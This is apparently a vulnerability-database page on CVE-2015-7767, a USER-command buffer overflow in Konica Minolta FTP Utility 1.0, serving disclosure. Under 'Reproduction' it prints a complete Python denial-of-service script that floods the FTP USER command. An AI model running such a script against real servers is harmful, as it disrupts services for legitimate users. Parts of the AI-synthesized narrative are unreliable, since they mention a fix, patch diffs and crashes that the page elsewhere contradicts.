CVE-2015-7767
Description
Konica Minolta FTP Utility 1.0 is vulnerable to a remote buffer overflow via a long USER command, potentially leading to code execution or denial of service.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Konica Minolta FTP Utility 1.0 is vulnerable to a remote buffer overflow via a long USER command, potentially leading to code execution or denial of service.
Vulnerability
A buffer overflow vulnerability exists in Konica Minolta FTP Utility version 1.0. This flaw can be triggered by sending an overly long USER command to the FTP service.
Exploitation
An unauthenticated remote attacker can exploit this vulnerability by sending a crafted USER command with an excessively long username to the FTP server. This can be achieved by connecting to the FTP service on port 21 and sending the malicious input.
Impact
Successful exploitation of this vulnerability can lead to arbitrary code execution or a denial of service, resulting in an application crash on the affected system.
Mitigation
No specific patch or fixed version information is available in the provided references. Users are advised to disable the FTP service or restrict access to it if possible. The vendor homepage is provided for further information [1].
AI Insight generated on Jun 5, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2cpe:2.3:a:konicaminolta:ftp_utility:1.0:*:*:*:*:*:*:*+ 1 more
- cpe:2.3:a:konicaminolta:ftp_utility:1.0:*:*:*:*:*:*:*
- (no CPE)range: =1.0
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The FTP Utility mishandles long USER commands, leading to a buffer overflow."
Attack vector
A remote attacker can send a crafted USER command containing an excessively long string of data. This input exceeds the buffer allocated for the USER command, triggering a buffer overflow. The exploit targets the Konica Minolta FTP Utility version 1.0, which is susceptible to this vulnerability. Successful exploitation can lead to arbitrary code execution or a denial of service by crashing the application [ref_id=1].
Affected code
The vulnerability lies within the handling of the USER command in Konica Minolta FTP Utility version 1.0. The provided exploit code demonstrates sending a large buffer of 'B' characters to the USER command, indicating that the input validation for this command is insufficient to handle oversized data [ref_id=1].
What the fix does
The advisory does not specify a patch or provide details on how the vulnerability is fixed. Remediation guidance suggests updating to a non-vulnerable version, but specific patch details are not available in the provided information. Users are advised to consult the vendor for updated software.
Preconditions
- inputThe application must be running Konica Minolta FTP Utility version 1.0.
- networkThe attacker must have network access to the FTP port (default 21) of the vulnerable utility.
Reproduction
```python #!/usr/bin/python # Exploit Title: Konica Minolta FTP Utility 1.0 Remote DoS PoC # Date: 21-08-2015 # Exploit Author: Shankar Damodaran # Vendor Homepage: http://www.konicaminolta.com/ # Software Link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip # Version: 1.0 # Tested on: Microsoft Windows XP Professional SP3 English
import socket
# The ip address of the remote host ftphost = '192.168.1.7' # The port of the remote host ftpport = 21
# Fuzzed packet of a certain length, Appending this to the USER command and requesting the remote ftp server denies requests for other legitimate users. crafted_user_name= "B" * 450012 # DoS
# Establishing connection s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect((ftphost,ftpport)) s.recv(1024)
# Sending the evil input. s.send('USER' + crafted_user_name + '\r\n')
# Once the packet has been sent, the DoS will occur on the remote FTP server. By sending an interrupt through (Ctrl+C), will resume the FTP server from DoS. (Note : The FTP server will not get crashed) s.send('QUIT \r\n') s.close()
# End of PoC - Shankar Damodaran ```
Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2- www.exploit-db.com/exploits/37908/nvdExploit
- www.exploit-db.com/exploits/38252/nvdExploit
News mentions
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